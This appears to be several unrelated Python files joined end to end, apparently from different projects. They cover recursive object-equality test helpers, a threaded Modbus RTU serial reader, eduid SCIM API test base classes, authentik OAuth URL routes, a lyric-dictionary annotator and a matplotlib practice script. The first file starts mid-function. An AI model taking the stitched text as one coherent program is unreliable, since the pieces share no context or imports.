            raise ValueError("assert_objects_equal does not support " +
                             "comparisions of type '{}'".format(type(o1)))

def are_objects_equal(o1, o2, max_depth=20, verbose=False):
    """Returns True if Python objects `o1` and `o2` are equal. Equality
    is defined as having the same type. If objects are lists or
    dictionaries, recursively call self on all keys. Same as
    assert_objects_equal but returns boolean.
    """
    def both_inst_of(otype):
        try:
            return isinstance(o1, otype) and isinstance(o2, otype)
        except RecursionError as recur_err:
            # raise Warning()
            raise recur_err
    max_depth -= 1
    kwargs = {
        'max_depth': max_depth,
        'verbose': verbose}
    if verbose:
        print("comparing objects:")
        pp(o1, indent=4)
        pp(o2, indent=4)
    if max_depth <= 0:
        print("comparing objects:")
        pp(o1, indent=4)
        pp(o2, indent=4)
        raise RecursionError("are_objects_equal reached " +
                             "maximum levels searched. ".format(max_depth) +
                             "Recommended to call this function with " +
                             "verbose=True")
    try:
        return bool(o1 == o2)
    except ValueError as val_err:
        if type(o1) is not type(o2):
            return False
        elif both_inst_of((Number, str)):
            # have to catch type str to prevent RecursionError
            # (strings are Iterable)
            return bool(o1 == o2)
        elif both_inst_of(dict):
            if o1.keys() != o2.keys():
                return False
            return all([are_objects_equal(o1[k], o2[k], **kwargs)
                       for k in o1.keys()])
        elif both_inst_of(Iterable):
            if len(o1) != len(o2):
                return False
            return all([are_objects_equal(o1[k], o2[k], **kwargs)
                       for k in range(len(o1))])
        else:
            raise ValueError("compare_objects does not support " +
                             "comparisions of type '{}'".format(type(o1)))

def call_with_legacy_params(func, legacy_pickle,
                            override_args=None, override_kwargs=None,
                            verbose=False):
    """Given a file path `legacy_pickle` containing an encoded Python
    dictionary, run function `func` with the same args encoded in
    `legacy_pickle`, and pickle the returned value. Returns tuple
    with filepath to pickled legacy return value, filepath to pickled
    new return value, the legacy return value object, and the new return
    value object, respectively. The dictionary encoded in `legacy_pickle`
    must be type dict and minimally contain keys args, kwargs, and result.
    Specify keyword arguments `override_args` or `override_kwargs` to
    override pickled args/kwargs. For instance, specifying both will call
    func(*override_args, **override_kwargs).
    """
    assert os.path.isfile(legacy_pickle)
    with open(legacy_pickle, 'rb') as f:
        unpickled = pickle.load(f)
    assert isinstance(unpickled, dict)
    assert "args" in unpickled
    assert "kwargs" in unpickled
    assert "result" in unpickled

    # print function name and commit sha
    if verbose:
        if "fname" in unpickled:
            print("function name (fname):", unpickled['fname'])
        if "commit" in unpickled:
            print("'{}' was pickled on commit: {}".format(
                legacy_pickle, unpickled['commit']))
        print("'{}' was run with args: {}".format(
            legacy_pickle, unpickled['args']))
        print("'{}'  was run with kwargs: {}".format(
            legacy_pickle, unpickled['kwargs']))

    # add override args and kwargs if they were specified
    if override_args is None:
        args = unpickled['args']
    else:
        args = override_args
    if override_kwargs is None:
        kwargs = unpickled['kwargs']
    else:
        kwargs = override_kwargs

    # run same function using the same params
    result = func(*args, **kwargs)
    return (unpickled['result'], result)


# Importing all the necessary Libs
import json
import os
import time
from datetime import datetime

from asgiref.sync import async_to_sync
from channels.layers import get_channel_layer

from App.Json_Class.COMDevices_dto import COMdevice
from App.Json_Class.COMProperties_dto import COMPORTProperties
from App.Json_Class.SerialPortSetting_dto import SerialPortSettings
import threading
import App.globalsettings as appsetting
from App.Json_Class.COMPort_dto import Comport
from App.Json_Class.index import read_setting
from App.RTUReaders.modbusRtuReader import ReadRTU

# Initializing The StopThread as boolean-False
stopThread: bool = False

def modbus_rtu():
    data = read_setting()
    ports = ["COM1", "COM2"]

    for com in ports:

        comport: Comport = getattr(data.edgedevice.DataCenter, com)
        serial_port_setting1 = comport.properties.SerialPortSetting
        comProperties: COMPORTProperties = comport.properties
        if comport.properties.Enable == "True" or comport.properties.Enable == "true":
            for dev in comport.devices:
                if dev.properties.Enable == "True" or dev.properties.Enable == "true":
                    # Declaring Threading count and failed attempts object
                    threadsCount = {
                        "count": 0,
                        "failed": 0
                    }

                    # Initializing Threading
                    thread = threading.Thread(
                        target=ReadRTU,
                        args=(serial_port_setting1, dev, comProperties, threadsCount, threadCallBack, com))

                    # Starting the Thread
                    thread.start()

def sentLiveData(data):
    text_data = json.dumps(data, indent=4)

    channel_layer = get_channel_layer()
    async_to_sync(channel_layer.group_send)("notificationGroup", {
        "type": "chat_message",
        "message": text_data
    })

# log definition
def log(result):
    date = datetime.now().strftime("%Y_%m_%d")
    filename = f"log_{date}"
    filepath = './App/log/RTU/{}.json'.format(filename)

    a = []
    if not os.path.isfile(filepath):
        a.append(result)
        with open(filepath, mode='w') as f:
            f.write(json.dumps(a, indent=2))
    else:
        with open(filepath) as feedsjson:
            feeds = json.load(feedsjson)
        feeds.append(result)

        with open(filepath, mode='w') as f:
            f.write(json.dumps(feeds, indent=2))

# Callback Function is defined
def threadCallBack(settings: SerialPortSettings,
                   ComDevices: COMdevice,
                   comProperties: COMPORTProperties,
                   threadsCount,
                   result,
                   success,
                   com):
    # Save the data to log file
    if appsetting.runWebSocket:
        sentLiveData(result)

    log(result)
    # print("COM Data", result)
    # Printing the thread ID
    # print(threading.get_ident())

    # Checking the device status for failure
    if not success:
        threadsCount["failed"] = threadsCount["failed"] + 1
        if threadsCount["failed"] > int(comProperties.RetryCount):
            recoveryTime = int(comProperties.AutoRecoverTimes)
            time.sleep(recoveryTime)
            threadsCount["failed"] = 0
            print("wait for recover failed and wait for auto recovery")
    else:
        threadsCount["failed"] = 0
        threadsCount["count"] = threadsCount["count"] + 1

    # print(threadsCount["count"])
    # print("stop thread", stopThread)

    timeout = int(comProperties.ScanTimems) / 1000
    time.sleep(timeout)
    # print("Test==", appsetting.startRtuService)
    if appsetting.startRtuService:
        # print("Restarted")
        # Initializing Threading
        thread = threading.Thread(
            target=ReadRTU,
            args=(settings, ComDevices, comProperties, threadsCount, threadCallBack, com)
        )

        # Starting the Thread
        thread.start()

        # print("callback function called")
        # print("{}".format(threadsCount))
        # print(threading.get_ident())


# -*- coding: utf-8 -*-
import json
import unittest
import uuid
from dataclasses import asdict
from os import environ
from typing import Any, Dict, List, Mapping, Optional, Union

from bson import ObjectId
from eduid_queue.db.message import MessageDB
from falcon.testing import Result, TestClient

from eduid_common.config.parsers import load_config
from eduid_common.config.testing import EtcdTemporaryInstance
from eduid_graphdb.testing import Neo4jTemporaryInstance
from eduid_userdb.signup import SignupInviteDB
from eduid_userdb.testing import MongoTemporaryInstance

from eduid_scimapi.app import init_api
from eduid_scimapi.config import ScimApiConfig
from eduid_scimapi.context import Context
from eduid_scimapi.db.common import ScimApiName
from eduid_scimapi.db.groupdb import ScimApiGroup
from eduid_scimapi.db.invitedb import ScimApiInvite
from eduid_scimapi.db.userdb import ScimApiProfile, ScimApiUser
from eduid_scimapi.schemas.scimbase import SCIMSchema

__author__ = 'lundberg'

class BaseDBTestCase(unittest.TestCase):
    """
    Base test case that sets up a temporary mongodb instance
    """

    mongodb_instance: MongoTemporaryInstance
    mongo_uri: str

    @classmethod
    def setUpClass(cls) -> None:
        cls.mongodb_instance = MongoTemporaryInstance.get_instance()
        cls.mongo_uri = cls.mongodb_instance.uri

    def _get_config(self) -> dict:
        config = {
            'debug': True,
            'testing': True,
            'mongo_uri': self.mongo_uri,
            'data_owners': {'eduid.se': {'db_name': 'eduid_se'}},
            'logging_config': {
                'loggers': {
                    #'eduid_groupdb': {'handlers': ['console'], 'level': 'DEBUG'},
                    'neo4j': {'handlers': ['console'], 'level': 'WARNING'},
                    'root': {'handlers': ['console'], 'level': 'DEBUG'},
                },
            },
        }
        return config

class MongoNeoTestCase(BaseDBTestCase):
    """
    Base test case that sets up a temporary Neo4j instance
    """

    neo4j_instance: Neo4jTemporaryInstance
    neo4j_uri: str

    def _get_config(self) -> dict:
        config = super()._get_config()
        config.update(
            {'neo4j_uri': self.neo4j_uri, 'neo4j_config': {'encrypted': False},}
        )
        return config

    @classmethod
    def setUpClass(cls) -> None:
        cls.neo4j_instance = Neo4jTemporaryInstance.get_instance()
        cls.neo4j_uri = (
            f'bolt://{cls.neo4j_instance.DEFAULT_USERNAME}:{cls.neo4j_instance.DEFAULT_PASSWORD}'
            f'@localhost:{cls.neo4j_instance.bolt_port}'
        )
        super().setUpClass()

    def tearDown(self):
        super().tearDown()
        self.neo4j_instance.purge_db()

class ScimApiTestCase(MongoNeoTestCase):
    """ Base test case providing the real API """

    etcd_instance: EtcdTemporaryInstance

    @classmethod
    def setUpClass(cls) -> None:
        super().setUpClass()
        cls.etcd_instance = EtcdTemporaryInstance.get_instance()
        environ.update({'ETCD_PORT': str(cls.etcd_instance.port)})

    def setUp(self) -> None:
        self.test_config = self._get_config()
        config = load_config(typ=ScimApiConfig, app_name='scimapi', ns='api', test_config=self.test_config)
        self.context = Context(config=config)

        # TODO: more tests for scoped groups when that is implemented
        self.data_owner = 'eduid.se'
        self.userdb = self.context.get_userdb(self.data_owner)
        self.invitedb = self.context.get_invitedb(self.data_owner)
        self.signup_invitedb = SignupInviteDB(db_uri=config.mongo_uri)
        self.messagedb = MessageDB(db_uri=config.mongo_uri)
        self.eventdb = self.context.get_eventdb(self.data_owner)

        api = init_api(name='test_api', test_config=self.test_config)
        self.client = TestClient(api)
        self.headers = {
            'Content-Type': 'application/scim+json',
            'Accept': 'application/scim+json',
        }

    def add_user(
        self, identifier: str, external_id: Optional[str] = None, profiles: Optional[Dict[str, ScimApiProfile]] = None
    ) -> Optional[ScimApiUser]:
        user = ScimApiUser(user_id=ObjectId(), scim_id=uuid.UUID(identifier), external_id=external_id)
        if profiles:
            for key, value in profiles.items():
                user.profiles[key] = value
        assert self.userdb
        self.userdb.save(user)
        return self.userdb.get_user_by_scim_id(scim_id=identifier)

    @staticmethod
    def as_json(data: dict) -> str:
        return json.dumps(data)

    def tearDown(self):
        super().tearDown()
        self.userdb._drop_whole_collection()
        self.eventdb._drop_whole_collection()
        self.etcd_instance.clear('/eduid/api/')

    def _assertScimError(
        self,
        json: Mapping[str, Any],
        schemas: Optional[List[str]] = None,
        status: int = 400,
        scim_type: Optional[str] = None,
        detail: Optional[str] = None,
    ):
        if schemas is None:
            schemas = [SCIMSchema.ERROR.value]
        self.assertEqual(schemas, json.get('schemas'))
        self.assertEqual(status, json.get('status'))
        if scim_type is not None:
            self.assertEqual(scim_type, json.get('scimType'))
        if detail is not None:
            self.assertEqual(detail, json.get('detail'))

    def _assertScimResponseProperties(
        self, response, resource: Union[ScimApiGroup, ScimApiUser, ScimApiInvite], expected_schemas: List[str]
    ):
        if SCIMSchema.NUTID_USER_V1.value in response.json:
            # The API can always add this extension to the response, even if it was not in the request
            expected_schemas += [SCIMSchema.NUTID_USER_V1.value]

        if SCIMSchema.NUTID_GROUP_V1.value in response.json:
            # The API can always add this extension to the response, even if it was not in the request
            expected_schemas += [SCIMSchema.NUTID_GROUP_V1.value]

        response_schemas = response.json.get('schemas')
        self.assertIsInstance(response_schemas, list, 'Response schemas not present, or not a list')
        self.assertEqual(
            sorted(set(expected_schemas)), sorted(set(response_schemas)), 'Unexpected schema(s) in response'
        )

        if isinstance(resource, ScimApiUser):
            expected_location = f'http://localhost:8000/Users/{resource.scim_id}'
            expected_resource_type = 'User'
        elif isinstance(resource, ScimApiGroup):
            expected_location = f'http://localhost:8000/Groups/{resource.scim_id}'
            expected_resource_type = 'Group'
        elif isinstance(resource, ScimApiInvite):
            expected_location = f'http://localhost:8000/Invites/{resource.scim_id}'
            expected_resource_type = 'Invite'
        else:
            raise ValueError('Resource is neither ScimApiUser, ScimApiGroup or ScimApiInvite')

        self.assertEqual(str(resource.scim_id), response.json.get('id'), 'Unexpected id in response')

        self.assertEqual(
            expected_location,
            response.headers.get('location'),
            'Unexpected group resource location in response headers',
        )

        meta = response.json.get('meta')
        self.assertIsNotNone(meta, 'No meta in response')
        self.assertIsNotNone(meta.get('created'), 'No meta.created')
        self.assertIsNotNone(meta.get('lastModified'), 'No meta.lastModified')
        self.assertIsNotNone(meta.get('version'), 'No meta.version')
        self.assertEqual(expected_location, meta.get('location'), 'Unexpected group resource location')
        self.assertEqual(
            expected_resource_type, meta.get('resourceType'), f'meta.resourceType is not {expected_resource_type}'
        )

    @staticmethod
    def _assertName(db_name: ScimApiName, response_name: Dict[str, str]):
        name_map = [
            ('family_name', 'familyName'),
            ('given_name', 'givenName'),
            ('formatted', 'formatted'),
            ('middle_name', 'middleName'),
            ('honorific_prefix', 'honorificPrefix'),
            ('honorific_suffix', 'honorificSuffix'),
        ]
        db_name_dict = asdict(db_name)
        for first, second in name_map:
            assert db_name_dict.get(first) == response_name.get(
                second
            ), f'{first}:{db_name_dict.get(first)} != {second}:{response_name.get(second)}'

    @staticmethod
    def _assertResponse(response: Result, status_code: int = 200):
        _detail = response.json.get('detail', 'No error detail in response')
        assert (
            response.status_code == status_code
        ), f'Response status was not {status_code} ({response.status_code}), {_detail}'


"""authentik OAuth source urls"""

from django.urls import path

from authentik.sources.oauth.types.registry import RequestKind
from authentik.sources.oauth.views.dispatcher import DispatcherView

urlpatterns = [
    path(
        "login/<slug:source_slug>/",
        DispatcherView.as_view(kind=RequestKind.REDIRECT),
        name="oauth-client-login",
    ),
    path(
        "callback/<slug:source_slug>/",
        DispatcherView.as_view(kind=RequestKind.CALLBACK),
        name="oauth-client-callback",
    ),
]


import re
from dataclasses import dataclass
from collections import Counter
from dotenv import dotenv_values, load_dotenv
from lxml import etree

@dataclass(frozen=True)
class TForm:
    form: str
    id: str

class TRRForm:

    def __init__(self, form: str, _id: str, count: int):
        self.form: str = form
        self.id: str = _id
        self.count: int = count
        self.compiled = re.compile(r"\b"+self.form+r"\b")
        self.tag = f'<xref target="{self.id}">{self.form}</xref>'

    def matched(self, _text):
        return self.compiled.search(_text)

    def mark_up(self, _text) -> str:
        _matched = self.matched(_text)
        if _matched:
            return self.tag
        else:
            return _text

class TRRAnnotator:

    def __init__(self):
        self.config = dotenv_values(".env")
        self.xml_path = self.config.get("XML_PATH", "/Users/mattkohl/Development/trr-xml/tRR.xml")
        self.tree = etree.parse(self.xml_path)
        self.forms = self.build_forms()

    def __repr__(self):
        return "<TRRAnnotator>"

    @staticmethod
    def dedupe(forms, exclude):
        keys = dict()
        final = dict()
        for t_form, count in forms.items():
            key = t_form.form
            if key in keys and keys[key] > count or key in exclude:
                continue
            else:
                keys[key] = count
                final[key] = TRRForm(t_form.form, t_form.id, count)
        return sorted(final.values(), key=lambda x: len(x.form)*-1)

    def build_forms(self):
        exclude = {
            "back",
            "boy",
            "got",
            "hit"
        }

        def _build_xrefs():
            return [TForm(xref.text, xref.get("target")) for xref in self.tree.xpath("//lyric/xref")]

        def _build_forms():
            for lexeme in self.tree.xpath("//entry/senses"):
                forms = lexeme.xpath("forms/form/text()")
                senses = lexeme.xpath("sense")
                for sense in senses:
                    sense_id = sense.xpath("@id")[0]
                    for form in forms:
                        for example in sense.xpath("examples/example/lyric/text()"):
                            if form in example:
                                yield TForm(form, sense_id)
        example_counter = Counter(_build_forms())
        xrefs_counter = Counter(_build_xrefs())
        return TRRAnnotator.dedupe(example_counter + xrefs_counter, exclude)

    def definitions(self):
        return {
            sense.xpath("@id")[0]: ";".join(sense.xpath("definition"))
            for sense in self.tree.xpath("//sense")
        }

    def annotate(self, _text, q: str = None):
        if _text:
            for _form in filter(lambda x: x.form.lower() != q.lower(), self.forms):
                _matched = _form.matched(_text)
                if _matched and q not in _form.form:
                    before = _text[:_matched.start()]
                    marked_up = _form.mark_up(_text)
                    after = _text[_matched.end():]
                    return self.annotate(before, q) + marked_up + self.annotate(after, q)
        return _text


import matplotlib as mpl
import matplotlib.pyplot as plt
import random as rand

mpl.__version__

plt.plot([1, 3, 5], [2, 5, 7])
plt.show()

x = rand.sample(range(0,10),10)
y = rand.sample(range(0,10),10)

x1 = list(map(lambda x: x - 1, x))
y2 = list(map(lambda y: y - 1, y))

plt.plot(x, y, label='Legenda da serie')
plt.xlabel('Eixo x - Variavel 1')
plt.ylabel('Eixo y - Variavel 2')
plt.title('Testando Matplotlib 3.0.2')

plt.legend()
plt.show()

plt.bar(x, y, label='Serie 1', color='r')
plt.bar(x1, y2, label='Serie 2', color='y')
plt.legend()
plt.show()

idades = [22, 65, 45, 55, 21, 22, 34, 42, 41, 4, 99, 101, 120, 122, 130, 111, 115, 80, 75, 54, 44, 64, 13, 18, 48]
ids = [x for x in range(len(idades))]
print(ids)
plt.bar(ids, idades)
plt.show()

bins = [0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130]
#plt.hist(idades, bins, histtype='bar', rwidth=0.8)
plt.hist(idades, bins, histtype='stepfilled', rwidth=0.8)
plt.show()

x2 = [rand.sample(range(0, 10), 10)]
y2 = [rand.sample(range(0, 10), 10)]
plt.scatter(x2, y2, label = 'Pontos', color='r', marker='o', s=100)
plt.legend()
plt.show()